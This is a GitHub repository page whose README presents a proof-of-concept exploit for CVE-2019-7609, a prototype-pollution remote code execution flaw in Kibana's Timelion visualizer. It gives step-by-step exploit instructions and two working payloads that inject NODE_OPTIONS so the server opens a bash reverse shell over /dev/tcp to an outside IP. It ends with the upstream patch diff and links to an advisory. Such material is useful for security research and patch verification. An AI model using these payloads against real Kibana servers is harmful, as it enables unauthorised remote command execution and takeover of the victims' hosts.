https://github.com/mpgn/cve-2019-7609
RCE on Kibana versions before 5.6.15 and 6.6.0 in the Timelion visualizer
https://github.com/mpgn/cve-2019-7609
kibana rce
Last synced: over 1 year ago
JSON representation
RCE on Kibana versions before 5.6.15 and 6.6.0 in the Timelion visualizer
- Host: GitHub
- URL: https://github.com/mpgn/cve-2019-7609
- Owner: mpgn
- Created: 2019-10-21T07:32:31.000Z (over 6 years ago)
- Default Branch: master
- Last Pushed: 2019-12-20T14:28:44.000Z (over 6 years ago)
- Last Synced: 2025-02-14T20:32:05.359Z (over 1 year ago)
- Topics: kibana, rce
- Homepage:
- Size: 5.86 KB
- Stars: 54
- Watchers: 3
- Forks: 12
- Open Issues: 1
-
Metadata Files:
- Readme: Readme.md
Awesome Lists containing this project
README
# CVE-2019-7609
> Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
Found by [@securityMB](https://twitter.com/securityMB)
**Note**: I've tested this attack on Kibana 6.6.0 but it was no working... on my side only version of Kibana < 6.6.0 are vulnerable as explain by @securityMB
**EDIT 20/12/2019** : if Canvas panel is not accessible, just check this writeup from @Synacktiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html
## Exploit
1. Open Kibana
2. Past one of the following payload into the Timelion visualizer
3. Click run
3. On the left panel click on Canvas
4. Your reverse shell should pop ! :)
- payload by [@securityMB](https://twitter.com/securityMB)
```javascript
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```
- payload by [@chybeta](https://twitter.com/chybeta)
```javascript
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```
**Detailed analysis (english):**
- https://slides.com/securitymb/prototype-pollution-in-kibana/#/
**Security advisory:**
- https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077
## Patch
https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch
```patch
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes
---
.../core_plugins/timelion/server/series_functions/props.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
let prop = '';
let m;
while (m = regex.exec(p)) {
- cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+ cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
prop = m[2] || m[1];
}
cur[prop] = data[p];
```